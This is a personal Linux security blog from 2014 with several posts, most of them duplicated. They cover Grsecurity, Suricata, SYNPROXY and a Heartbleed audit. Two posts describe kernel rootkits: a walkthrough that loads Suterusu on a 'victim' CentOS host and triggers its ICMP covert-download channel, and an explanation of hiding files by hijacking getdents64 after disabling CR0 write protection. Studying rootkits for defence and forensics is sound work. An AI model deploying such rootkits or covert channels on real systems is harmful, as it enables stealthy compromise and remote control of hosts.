Just keep your mind open and suck in the experience.And if it hurts,it's probably worth it.God is Love!
Sunday, August 10, 2014
An awesome linux kernel rootkit: Suterusu
I've been fuc*ing busy since I left SuSE about two months ago. I have a lot of time to hack/learn anything I want. Well, rootkit is one of my TODO things, as always. I wrote a dumb rootkit a half year ago. It's using an old good method to hiding file: hijack some syscalls. There's a better solution called "inline hook". Suterusu is the one implemented a inline hook framework. I don't want to explain the detail of how Suterusu was implemented. Cuz' no one( in the most cases) would do the job better than the original author: Michael Coppola already wrote a good article "Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM".
I always want to make some open source rootkits work on the latest version of GNU/Linux. Damn...I'd be exhausted if I really do that. There are bunch of rootkits( adore-ng, ddrk, kbeast-v1, wnps, etc) out there and out-of-dated for years. Although you might find some "modern" ones like maK_it, kernel-rootkit-2.6.32, etc...but..there's always a annoying "but"...these rootkits are either lacking of inline hook framework or can't support a diverse linux kernel versions. I've test Suru on a dozen of different linux kernels, from 2.6.35 to 3.13.1. Now I'm going to share two stories of mine( of course, it's Sur-related;-)):
1, A friend asked for advice about rootkit selection, of course I'd never hesitate to tell him to use Suru. When he tried to use it, he found out he couldn't compile it on kernel-3.14.1. Then I modified a few lines of code and then it works.
2, Another friend( a pentester) asked me if I can make any rootkit work on CentOS 6.5 with 2.6.32-431.el6 x86_64. I tried Suru and found out it was not support 2.6.32 yet. Then I've add less than 100 LOC and then it works.
Suru is an awesome rootkit. I'm sure a lot of people are using it. Today I found out two features of Suru called "ICMP" and "DLEXEC" that I never look into it. A friend( still that pentester) told me it can be used as a covert channel to transfer files. I write a triggering program that could craft a specific ICMP header/payload and send it to the "victim server". When the victim receives the packet, it will download a file from a specific server.
---------------------------------------------------------------------
1. Download the Suterusu for both "victim" and "attacker".
2. The victim is using CentOS 6.5:
root@centos-rktesting ~]# uname -r
2.6.32-431.el6.x86_64
2.1 Install some necessary packages:
yum install -y kernel-devel.x86_64 gcc vim
2.2 Compile & load the rootkit:
[root@centos-rktesting suterusu]# make linux-x86_64 KDIR=/usr/src/kernels/2.6.32-431.23.3.el6.x86_64/ ICMP=y DLEXEC=y
make ARCH=x86_64 EXTRA_CFLAGS="-D_CONFIG_X86_64_ -D_CONFIG_DLEXEC_ -D_CONFIG_ICMP_" -C /usr/src/kernels/2.6.32-431.23.3.el6.x86_64/ M=/root/suterusu modules
make[1]: Entering directory `/usr/src/kernels/2.6.32-431.23.3.el6.x86_64'
CC [M] /root/suterusu/main.o
CC [M] /root/suterusu/util.o
CC [M] /root/suterusu/module.o
CC [M] /root/suterusu/dlexec.o
CC [M] /root/suterusu/icmp.o
LD [M] /root/suterusu/suterusu.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/suterusu/suterusu.mod.o
LD [M] /root/suterusu/suterusu.ko.unsigned
NO SIGN [M] /root/suterusu/suterusu.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.32-431.23.3.el6.x86_64'
[root@centos-rktesting suterusu]# insmod suterusu.ko
3. The attacker can use anything GNU/Linux distro as you want, compile the file server and designate the file you want it to be transferred:
shawn@shawn-fortress /tmp/suterusu $ sudo ./a.out 8556 README.md
Bound to port 8556, waiting for connection...
3.1 Open a new terminal:
shawn@shawn-fortress /tmp/suterusu $ cd test/
shawn@shawn-fortress /tmp/suterusu/test $ ls
trigger_icmp_covert.py
shawn@shawn-fortress /tmp/suterusu/test $ ./trigger_icmp_covert.py
4. Go to the victim's machine, check:
[root@centos-rktesting ~]# cat /root/.tmp
Suterusu
========
Typical compilation steps:
...........................................................
.................................................................
---------------------------------------------------------------------
That's it! Show time is over! It's quite simple, ah? I really appreciate Michael Coppola released Suterusu under free/open source software license. And I also thank him brings us good writings;-)
btw: What next? I probably go to try some memory forensics, to see if I could hunt some rootkits;-)
Have fun & good hunting!!!
May the L0rd's hacking spirit guide us!!!
Further readings:
[1] RFC-792
http://tools.ietf.org/html/rfc792
[2] Python documentation:
https://docs.python.org/2/library/struct.html
[3] TCP/IP protocols
http://www.protocols.com/pbook/tcpip3.htm
[4] Sock-RAW
http://sock-raw.org/papers/sock_raw
Wednesday, May 14, 2014
Simple Grsecurity RBAC policy with kernel 3.14.1 on Debian 7.4
Speaking of kernel hardening, I personally like Apparmor and sick of SELinux( you know why). pi3's paper on Phrack Issue 67 was the 1st place I've met Grsecurity/Pax. I never forget that 30-sec would help the people to build the defense in depth;-) Then I went to read some Phrack papers from old good hacking days that I missed. Then I know they are the original authors of ASLR...and much more. No doubt that Grsecurity/Pax is one of the most respected old school communities......Note: Grsecurity/Pax don't use LSM since LSM breaks the principle of build-security-in, which should treat the security as whole. I think it's time to explore....
Download kernel:
https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.14.1.tar.xz
Download grsecurity patch:
https://www.grsecurity.net/test/grsecurity-3.0-3.14.3-201405121814.patch
Patch the kernel with grsecurity:
xz -d linux-3.14.1.tar.xz
tar xvf linux-3.14.1.tar
cd linux-3.14.1/
patch -p1 < ../grsecurity-3.0-3.14.3-201405121814.patch
You can use my kernel config:
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/debian-7.4-linux-3.14.1-grsec.config
Or make your own config via "make menuconfig". Then compile the kernel:
make -j3 deb-pkg
It will help you build deb packages. All you need to do is install them:
dpkg -i ../*.deb
Now, the kernel part is done. Download gradm( RBAC administrator utility):
https://www.grsecurity.net/stable/gradm-3.0-201401291757.tar.gz
tar zxvf gradm-3.0-201401291757.tar.gz
cd gradm/
make && make install
Reboot the machine:
shutdown -r now
Now, you need to set a bunch of annoying passwords:
root@d6-test:/etc/grsec# gradm -P
Setting up grsecurity RBAC password
Password:
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec#
root@d6-test:/etc/grsec# gradm -P admin
Setting up password for role admin
Password:
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec#
root@d6-test:/etc/grsec# gradm -P shutdown
Setting up password for role shutdown
Password:
Re-enter Password:
Password written to /etc/grsec/pw.
Add this:
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/grsec_conf.a.out
into the tail of /etc/grsec/policy
What I did in the above policy was I created role shawn as a user, with some default polices, like /bin is executable only, etc. Then I set a binary /home/shawn/grsec_test/a.out has read permission on /home/shawn/hello and write permission on /home/shawn/world and run another shell is not allowed. You can use my code to test the policy:
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/apparmor_test.c
btw: I tested the poc of CVE-2014-0196 on kernel-3.13 and it crashed the kernel. I tested it on kernel-3.14.1 with Grsecurity and it doesn't work. But this issue should be affected on 3.14.1...ah, I think Grsecurity works in some "mysterious" ways to prevent this poc. I'll dig deeper about this amazing hardening implementation.
Further readings:
[1] Grsecurity wiki
http://en.wikibooks.org/wiki/Grsecurity
[2] Documentation for the PaX project
https://pax.grsecurity.net/docs/
[3] Grsecurity Blog
https://forums.grsecurity.net/viewforum.php?f=7
Download kernel:
https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.14.1.tar.xz
Download grsecurity patch:
https://www.grsecurity.net/test/grsecurity-3.0-3.14.3-201405121814.patch
Patch the kernel with grsecurity:
xz -d linux-3.14.1.tar.xz
tar xvf linux-3.14.1.tar
cd linux-3.14.1/
patch -p1 < ../grsecurity-3.0-3.14.3-201405121814.patch
You can use my kernel config:
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/debian-7.4-linux-3.14.1-grsec.config
Or make your own config via "make menuconfig". Then compile the kernel:
make -j3 deb-pkg
It will help you build deb packages. All you need to do is install them:
dpkg -i ../*.deb
Now, the kernel part is done. Download gradm( RBAC administrator utility):
https://www.grsecurity.net/stable/gradm-3.0-201401291757.tar.gz
tar zxvf gradm-3.0-201401291757.tar.gz
cd gradm/
make && make install
Reboot the machine:
shutdown -r now
Now, you need to set a bunch of annoying passwords:
root@d6-test:/etc/grsec# gradm -P
Setting up grsecurity RBAC password
Password:
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec#
root@d6-test:/etc/grsec# gradm -P admin
Setting up password for role admin
Password:
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec#
root@d6-test:/etc/grsec# gradm -P shutdown
Setting up password for role shutdown
Password:
Re-enter Password:
Password written to /etc/grsec/pw.
Add this:
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/grsec_conf.a.out
into the tail of /etc/grsec/policy
What I did in the above policy was I created role shawn as a user, with some default polices, like /bin is executable only, etc. Then I set a binary /home/shawn/grsec_test/a.out has read permission on /home/shawn/hello and write permission on /home/shawn/world and run another shell is not allowed. You can use my code to test the policy:
https://raw.githubusercontent.com/citypw/citypw-SCFE/master/security/apparmor_test/apparmor_test.c
btw: I tested the poc of CVE-2014-0196 on kernel-3.13 and it crashed the kernel. I tested it on kernel-3.14.1 with Grsecurity and it doesn't work. But this issue should be affected on 3.14.1...ah, I think Grsecurity works in some "mysterious" ways to prevent this poc. I'll dig deeper about this amazing hardening implementation.
Further readings:
[1] Grsecurity wiki
http://en.wikibooks.org/wiki/Grsecurity
[2] Documentation for the PaX project
https://pax.grsecurity.net/docs/
[3] Grsecurity Blog
https://forums.grsecurity.net/viewforum.php?f=7
Wednesday, April 16, 2014
Audit: don't only focus on heartbleed issue
I received the info about heartbleed issue on Apr 8 andI found out SLES-11 are using OpenSSL 0.9.8 branch code, which is not vulnerable to heartbleed issue. Then I patched it for OpenSuSE 13.1/12.3. It was easy because the patch was already there.
After an exciting and crazy week. People are getting calm and plan or already start to doing audit on their system. But there are something you might miss. The older version of OpenSSL( like 0.9.8) might not affected by heartbleed issue but it doesn't mean you are secure. Don't forget the old OpenSSL are still vulnerable to BEAST( 2011), CRIME( 2012), Lucky-thirteen( 2013). I do believe Lucky-thirteen is far more dangerous than heartbleed, we just don't know. Once you start the audit, plz upgrade the OpenSSL to the latest version. If you are using 0.9.8, plz upgrade to 0.9.8y, which is not vulnerable to Lucky-13 issue.
Fix heartbleed issue for website is much easier than the networking devices( Firewall, UTM, SSL/IPSEC VPN, etc) and the 3rd-party software. This definitely gonna impacting for long term.
I'd like to share some materials( you might already known).
Heartbleed issue technical analysis:
https://www.getpantheon.com/heartbleed-fix
http://blog.ioactive.com/2014/04/bleeding-hearts.html
http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html
http://blog.ioactive.com/2014/04/bleeding-hearts.html
I totally agree with the last point from this article:
http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html
To these major companies are highly reply on the open source TLS implementation( OpenSSL, GnuTLS, etc) should give them funding, to make them more secure and stable.
EFF is always right about how to aginst massive surveillance by agencies
like NSA. PFS is so fuc*ing important especially today. I think we should use TLS 1.2.
https://www.eff.org/deeplinks/2014/04/wild-heart-were-intelligence-agencies-using-heartbleed-november-2013
https://www.eff.org/deeplinks/2014/04/why-web-needs-perfect-forward-secrecy
https://www.eff.org/deeplinks/2013/08/pushing-perfect-forward-secrecy-important-web-privacy-protection
https://www.eff.org/deeplinks/2011/11/long-term-privacy-forward-secrecy
Performance hit probably is one of reasons that PFS is so important but the fact is only afew websites using it:
http://nmav.gnutls.org/2011/12/price-to-pay-for-perfect-forward.html
Test top-1m websites:
https://github.com/musalbas/heartbleed-masstest
C:
https://github.com/robertdavidgraham/heartleech
Client PoC:
https://github.com/Lekensteyn/pacemaker
---------------------------------------------------------
One more thing, to those who are still complaining about the security of free/open source software is worse than closed software. Well, I don't want to argue here. But, I'm giving you type of people 3 options:
1, Join the community, help the FOSS community to do code audit.
2, Make some donations to the organizations who really cares about your privacy and do the code audit for us. Like EFF, I'm fuc*ing pround of I'm member of EFF.....
3, G O H O M E A N D F U C K Y O U R S E L F ! ! !
After an exciting and crazy week. People are getting calm and plan or already start to doing audit on their system. But there are something you might miss. The older version of OpenSSL( like 0.9.8) might not affected by heartbleed issue but it doesn't mean you are secure. Don't forget the old OpenSSL are still vulnerable to BEAST( 2011), CRIME( 2012), Lucky-thirteen( 2013). I do believe Lucky-thirteen is far more dangerous than heartbleed, we just don't know. Once you start the audit, plz upgrade the OpenSSL to the latest version. If you are using 0.9.8, plz upgrade to 0.9.8y, which is not vulnerable to Lucky-13 issue.
Fix heartbleed issue for website is much easier than the networking devices( Firewall, UTM, SSL/IPSEC VPN, etc) and the 3rd-party software. This definitely gonna impacting for long term.
I'd like to share some materials( you might already known).
Heartbleed issue technical analysis:
https://www.getpantheon.com/heartbleed-fix
http://blog.ioactive.com/2014/04/bleeding-hearts.html
http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html
http://blog.ioactive.com/2014/04/bleeding-hearts.html
I totally agree with the last point from this article:
http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html
To these major companies are highly reply on the open source TLS implementation( OpenSSL, GnuTLS, etc) should give them funding, to make them more secure and stable.
EFF is always right about how to aginst massive surveillance by agencies
like NSA. PFS is so fuc*ing important especially today. I think we should use TLS 1.2.
https://www.eff.org/deeplinks/2014/04/wild-heart-were-intelligence-agencies-using-heartbleed-november-2013
https://www.eff.org/deeplinks/2014/04/why-web-needs-perfect-forward-secrecy
https://www.eff.org/deeplinks/2013/08/pushing-perfect-forward-secrecy-important-web-privacy-protection
https://www.eff.org/deeplinks/2011/11/long-term-privacy-forward-secrecy
Performance hit probably is one of reasons that PFS is so important but the fact is only afew websites using it:
http://nmav.gnutls.org/2011/12/price-to-pay-for-perfect-forward.html
Test top-1m websites:
https://github.com/musalbas/heartbleed-masstest
C:
https://github.com/robertdavidgraham/heartleech
Client PoC:
https://github.com/Lekensteyn/pacemaker
---------------------------------------------------------
One more thing, to those who are still complaining about the security of free/open source software is worse than closed software. Well, I don't want to argue here. But, I'm giving you type of people 3 options:
1, Join the community, help the FOSS community to do code audit.
2, Make some donations to the organizations who really cares about your privacy and do the code audit for us. Like EFF, I'm fuc*ing pround of I'm member of EFF.....
3, G O H O M E A N D F U C K Y O U R S E L F ! ! !
Monday, March 31, 2014
Suricata's file extraction on Debian GNU/Linux
Suricata is a high performance open source IDS/IPS project. I used it a long time ago around 2010 when it was released. I've been playing with Snort recently and then found Suricata has a great feature: File extraction. It'd be helpful to those who want to get malware samples from IDS. Anyway, like old days, I want to test it on my own and see how it works on Debian. First things first, I need to build it and see if it works.
Download a latest version of the small installation ISO image. I need to clarify my testing environment: Debian is running on my virtual machine, which has two NICs are eth0 and eth1. Interface eth0 is running on NAT mode and eth1 is running bridge mode. Debian don't assign any IP addr to eth1.
Because our Debian is the small installation. So we have to install some dependency packages via simply apt-get:
#apt-get install vim openssh-server ethtool libpcap-dev libnfnetlink-dev libnetfilter-queue-dev libdnet-dev libdumbnet-dev libpcre3-dev libpcre3-dbg bison flex make zlib1g-dev autoconf libtool libnss3-dev libnspr4-dev libjansson4 libjansson-dev libyaml-dev libcap-ng0 libcap-ng-dev libnet1-dev libmagic-dev build-essential
Get the source code of Suricata:
#cd /tmp
#wget wget http://www.openinfosecfoundation.org/download/suricata-2.0.tar.gz
#tar zxvf suricata-2.0.tar.gz
#cd suricata-2.0
Compile and installation:
#./configure --enable-nfqueue --enable-gccprotect --prefix=/usr/local/suricata --localstatedir=/var
#make -j3
#make make-full
Edit suricata.yaml:
1, Set the request/response body a litte bigger:
request-body-limit: 1gb #3072
response-body-limit: 1gb #3072
2, Enable file extraction:
- file-store:
enabled: yes # set to yes to enable
log-dir: files # directory to store the files
force-magic: no # force logging magic on all stored files
force-md5: no # force logging of md5 checksums
waldo: file.waldo # waldo file to store the file_id across runs
# output module to log files tracked in a easily parsable json format
- file-log:
enabled: yes
filename: files-json.log
append: yes
#filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'
3, Add our "test" rule file( test.rules in this case) into the section "default-rule-path:", like:
default-rule-path: /usr/local/suricata/etc/suricata/rules
rule-files:
- test.rules
- botcc.rules
Create a rule file:
/usr/local/suricata/etc/suricata/rules/test.rules
Add one line into test.rules( to save any jpg files) :
alert http any any -> any any (msg:"FILESTORE jpg"; fileext:"jpg"; filestore; sid:6; rev:1;)
Enable the eth1:
#ifconfig eth1 up
According to the Suricata's wiki, we should turn off the TCP GSO:
ethtool -K eth1 tso off
ethtool -K eth1 gro off
ethtool -K eth1 lro off
ethtool -K eth1 gso off
ethtool -K eth1 rx off
ethtool -K eth1 tx off
ethtool -K eth1 sg off
ethtool -K eth1 rxvlan off
ethtool -K eth1 txvlan off
ethtool -N eth1 rx-flow-hash udp4 sdfn
ethtool -N eth1 rx-flow-hash udp6 sdfn
ethtool -n eth1 rx-flow-hash udp6
ethtool -n eth1 rx-flow-hash udp4
ethtool -C eth1 rx-usecs 1000
ethtool -C eth1 adaptive-rx off
Run the Suricata with this command:
/usr/local/suricata/bin/suricata -c /usr/local/suricata/etc/suricata//suricata.yaml -i eth1
Use your firefox/chrome on your host machine, and visit some website, like this.
You should see some girl pictures in /var/log/suricata/files ;-)
btw: Thanks to Suricata community brings us this fuc*ing awesome IDS/IPS project. Special thanks to Peter Manev.
Download a latest version of the small installation ISO image. I need to clarify my testing environment: Debian is running on my virtual machine, which has two NICs are eth0 and eth1. Interface eth0 is running on NAT mode and eth1 is running bridge mode. Debian don't assign any IP addr to eth1.
Because our Debian is the small installation. So we have to install some dependency packages via simply apt-get:
#apt-get install vim openssh-server ethtool libpcap-dev libnfnetlink-dev libnetfilter-queue-dev libdnet-dev libdumbnet-dev libpcre3-dev libpcre3-dbg bison flex make zlib1g-dev autoconf libtool libnss3-dev libnspr4-dev libjansson4 libjansson-dev libyaml-dev libcap-ng0 libcap-ng-dev libnet1-dev libmagic-dev build-essential
Get the source code of Suricata:
#cd /tmp
#wget wget http://www.openinfosecfoundation.org/download/suricata-2.0.tar.gz
#tar zxvf suricata-2.0.tar.gz
#cd suricata-2.0
Compile and installation:
#./configure --enable-nfqueue --enable-gccprotect --prefix=/usr/local/suricata --localstatedir=/var
#make -j3
#make make-full
Edit suricata.yaml:
1, Set the request/response body a litte bigger:
request-body-limit: 1gb #3072
response-body-limit: 1gb #3072
2, Enable file extraction:
- file-store:
enabled: yes # set to yes to enable
log-dir: files # directory to store the files
force-magic: no # force logging magic on all stored files
force-md5: no # force logging of md5 checksums
waldo: file.waldo # waldo file to store the file_id across runs
# output module to log files tracked in a easily parsable json format
- file-log:
enabled: yes
filename: files-json.log
append: yes
#filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'
3, Add our "test" rule file( test.rules in this case) into the section "default-rule-path:", like:
default-rule-path: /usr/local/suricata/etc/suricata/rules
rule-files:
- test.rules
- botcc.rules
Create a rule file:
/usr/local/suricata/etc/suricata/rules/test.rules
Add one line into test.rules( to save any jpg files) :
alert http any any -> any any (msg:"FILESTORE jpg"; fileext:"jpg"; filestore; sid:6; rev:1;)
Enable the eth1:
#ifconfig eth1 up
According to the Suricata's wiki, we should turn off the TCP GSO:
ethtool -K eth1 tso off
ethtool -K eth1 gro off
ethtool -K eth1 lro off
ethtool -K eth1 gso off
ethtool -K eth1 rx off
ethtool -K eth1 tx off
ethtool -K eth1 sg off
ethtool -K eth1 rxvlan off
ethtool -K eth1 txvlan off
ethtool -N eth1 rx-flow-hash udp4 sdfn
ethtool -N eth1 rx-flow-hash udp6 sdfn
ethtool -n eth1 rx-flow-hash udp6
ethtool -n eth1 rx-flow-hash udp4
ethtool -C eth1 rx-usecs 1000
ethtool -C eth1 adaptive-rx off
Run the Suricata with this command:
/usr/local/suricata/bin/suricata -c /usr/local/suricata/etc/suricata//suricata.yaml -i eth1
Use your firefox/chrome on your host machine, and visit some website, like this.
You should see some girl pictures in /var/log/suricata/files ;-)
btw: Thanks to Suricata community brings us this fuc*ing awesome IDS/IPS project. Special thanks to Peter Manev.
Wednesday, March 19, 2014
SYNPROXY: the great DoS mitigation solution
I don't expect to can see a perfect DoS solution in my lifetime;-) As we known, there are tons of commercial gateway-level boxes can mitigate the DoS attack in some ways. But I prefer the combination of x86+GNU/Linux, like the most old school guys. Why? My answer is simple: It's the fuc*ing cheapest solution we have. SYNPROXY is one of new features of linux kernel 3.13. It's based on netfilter framework and connection tracking. If I understand correctly, SYPROXY should mark the initial SYN packet as UNTRACKED and redirecting them into iptables's action "SYNPROXY"( like ACCEPT, DROP, NF_QUEUE, etc). SYNPROXY would be acting like a network gateway device( router?) to performing the regular TCP x-way handshakes. The original packet will be passing into the dst when handshake process is finished. The contributor Jesper Dangaard Brouer gave us a free speech at DEVCON last month. According to his slide's test result, these numbers are really looking good. I did a little test with my colleague today.
Platform: Debian, SLES-12-beta2
Hardware: Laptop, Server, 100Mbps Switch
Tools: hping3, metasploit
root@d6-test:/home/shawn# iptables -t raw -A PREROUTING -i eth0 -p tcp --dport 8888 --syn -j NOTRACK
root@d6-test:/home/shawn# iptables -A INPUT -i eth0 -p tcp --dport 8888 -m state --state UNTRACKED,INVALID -j SYNPROXY --sack-perm --timestamp --mss 1480 --wscale 7 --ecn
echo 0 > /proc/sys/net/netfilter/nf_conntrack_tcp_loose
Result:
Without SYNPROXY: ksoftirq is around 8%-9%
With SYNPROXY: ksoftirq is less than 3%
btw: This result may not be very accurate. Anyway, SYNPROXY works.
Platform: Debian, SLES-12-beta2
Hardware: Laptop, Server, 100Mbps Switch
Tools: hping3, metasploit
root@d6-test:/home/shawn# iptables -t raw -A PREROUTING -i eth0 -p tcp --dport 8888 --syn -j NOTRACK
root@d6-test:/home/shawn# iptables -A INPUT -i eth0 -p tcp --dport 8888 -m state --state UNTRACKED,INVALID -j SYNPROXY --sack-perm --timestamp --mss 1480 --wscale 7 --ecn
echo 0 > /proc/sys/net/netfilter/nf_conntrack_tcp_loose
Result:
Without SYNPROXY: ksoftirq is around 8%-9%
With SYNPROXY: ksoftirq is less than 3%
btw: This result may not be very accurate. Anyway, SYNPROXY works.
Thursday, February 06, 2014
Simple linux rootkit on Debian with kernel 3.13
I've wasted a lot of time in 2013. I've always find some shity execuses, like "I'm fucking busy recently" to delay my hacking journey of kernel rootkit. This was supposed to be done a couple of months ago. Thank L0rd! I found a slot during Chinese new year vacation at my hometown. I begun the adventure of rootkit hacking. I've read a bunch of great Phrack papers from the old good hacking days. It's old but it'd help.
---------------------------------------------------------------
[Weakening the Linux Kernel, Phrack Magazine Volume 8, Issue 52
January 26, 1998, article 18 of 20]
http://www.phrack.org/issues.html?issue=52&id=18&mode=txt
[Advances in Kernel Hacking, Volume 0x0b, Issue 58, Phile #0x06 of
0x0e]
http://www.phrack.org/issues.html?issue=58&id=6&mode=txt
[Handling Interrupt Descriptor Table for fun and profit, Volume 0x0b,
Issue 59, Phile #0x04 of 0x12]
http://www.phrack.org/issues.html?issue=59&id=4&mode=txt
[Kernel Rootkit Experiences, Volume 0x0b, Issue 61, Phile 0x0e of
0x0f]
http://www.phrack.org/issues.html?issue=61&id=14&mode=txt
[Mistifying the debugger, Volume 0x0c, Issue 65, Phile #0x08 of
0x0f]
http://www.phrack.org/issues.html?issue=65&id=8&mode=txt
Especially thanks to THC's paper, which was released in 1999:
[Complete Linux Loadable Kernel Modules]
https://www.thc.org/papers/LKM_HACKING.html
---------------------------------------------------------------
I wrote a simple rootkit that can only hide a specific file. Just a
few old school steps could make its feature possible:
Firstly, we need to retrieve the system call table. But it's no longer
exported since 2.6. Fortunately, there's still a few system calls are
exported. sys_close() is one of them:
--------------------------------------
root@d6-test:/home/shawn# grep sys_close /boot/System.map-3.13.0
c10e0aa1 T sys_close
c140fdc4 R __ksymtab_sys_close
c141815c r __kcrctab_sys_close
c1420e33 r __kstrtab_sys_close
--------------------------------------
I used a brute force way to locate that system call. I learned it from
memset's blog:
https://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/
Start mem addr would be 0xc0000000, then it would try it repeatly unti
it locate sys_close()'s addr.
Then, write protection bit in cr0 has to be shut down. WP bit is the
16th bit in cr0 register.
31 30 29 28 19 18 17 16 15 6 5 4 3 2 1 0
+----------------------------------------------------------------------+
|PG|CD |NW|-----------------|AM|---|WP|--------------|NE|ET|TS|EM|MP|PE|
+----------------------------------------------------------------------+
After we done above steps, we are able to hijack the system call we
want. Here I choose to hijack getdents64(). Why? Because all I wanna
do is hide a specific file from "ls". Let's see what "ls" would
usually do:
------------------------------------------
// begin.........
execve("/bin/ls", ["ls"], [/* 16 vars */]) = 0
brk(0) = 0x8366000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7791000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=19346, ...}) = 0
.......................
.......................
.......................
// look, that's it
getdents64(3, /* 17 entries */, 32768) = 544
getdents64(3, /* 0 entries */, 32768) = 0
close(3) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7790000
.......................
// then it would display them in the standard out(1)
write(1, "a.out dirent.c dirent.c~ insi"..., 107a.out dirent.c dirent.c~ insight-lab libmnl libnftables linux-3.13 linux-3.13.tar my_tmp nftables
) = 107
.......................
------------------------------------------
The only struct from kernel we have to face is:
-------------------------------------------------------------------
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux 2.6.4;
// offset is (d_reclen - 1))
*/
}
-------------------------------------------------------------------
d_reclen is size of the current linux_dirent64, it does matters. Plz
read the fucking source code for any detail! Well, like in good old days, I drew an ascii big picture here.
May the L0rd's hacking spirit guide us!!!
---------------------------------------------------------------
[Weakening the Linux Kernel, Phrack Magazine Volume 8, Issue 52
January 26, 1998, article 18 of 20]
http://www.phrack.org/issues.html?issue=52&id=18&mode=txt
[Advances in Kernel Hacking, Volume 0x0b, Issue 58, Phile #0x06 of
0x0e]
http://www.phrack.org/issues.html?issue=58&id=6&mode=txt
[Handling Interrupt Descriptor Table for fun and profit, Volume 0x0b,
Issue 59, Phile #0x04 of 0x12]
http://www.phrack.org/issues.html?issue=59&id=4&mode=txt
[Kernel Rootkit Experiences, Volume 0x0b, Issue 61, Phile 0x0e of
0x0f]
http://www.phrack.org/issues.html?issue=61&id=14&mode=txt
[Mistifying the debugger, Volume 0x0c, Issue 65, Phile #0x08 of
0x0f]
http://www.phrack.org/issues.html?issue=65&id=8&mode=txt
Especially thanks to THC's paper, which was released in 1999:
[Complete Linux Loadable Kernel Modules]
https://www.thc.org/papers/LKM_HACKING.html
---------------------------------------------------------------
I wrote a simple rootkit that can only hide a specific file. Just a
few old school steps could make its feature possible:
Firstly, we need to retrieve the system call table. But it's no longer
exported since 2.6. Fortunately, there's still a few system calls are
exported. sys_close() is one of them:
--------------------------------------
root@d6-test:/home/shawn# grep sys_close /boot/System.map-3.13.0
c10e0aa1 T sys_close
c140fdc4 R __ksymtab_sys_close
c141815c r __kcrctab_sys_close
c1420e33 r __kstrtab_sys_close
--------------------------------------
I used a brute force way to locate that system call. I learned it from
memset's blog:
https://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/
Start mem addr would be 0xc0000000, then it would try it repeatly unti
it locate sys_close()'s addr.
Then, write protection bit in cr0 has to be shut down. WP bit is the
16th bit in cr0 register.
31 30 29 28 19 18 17 16 15 6 5 4 3 2 1 0
+----------------------------------------------------------------------+
|PG|CD |NW|-----------------|AM|---|WP|--------------|NE|ET|TS|EM|MP|PE|
+----------------------------------------------------------------------+
After we done above steps, we are able to hijack the system call we
want. Here I choose to hijack getdents64(). Why? Because all I wanna
do is hide a specific file from "ls". Let's see what "ls" would
usually do:
------------------------------------------
// begin.........
execve("/bin/ls", ["ls"], [/* 16 vars */]) = 0
brk(0) = 0x8366000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7791000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=19346, ...}) = 0
.......................
.......................
.......................
// look, that's it
getdents64(3, /* 17 entries */, 32768) = 544
getdents64(3, /* 0 entries */, 32768) = 0
close(3) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7790000
.......................
// then it would display them in the standard out(1)
write(1, "a.out dirent.c dirent.c~ insi"..., 107a.out dirent.c dirent.c~ insight-lab libmnl libnftables linux-3.13 linux-3.13.tar my_tmp nftables
) = 107
.......................
------------------------------------------
The only struct from kernel we have to face is:
-------------------------------------------------------------------
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux 2.6.4;
// offset is (d_reclen - 1))
*/
}
-------------------------------------------------------------------
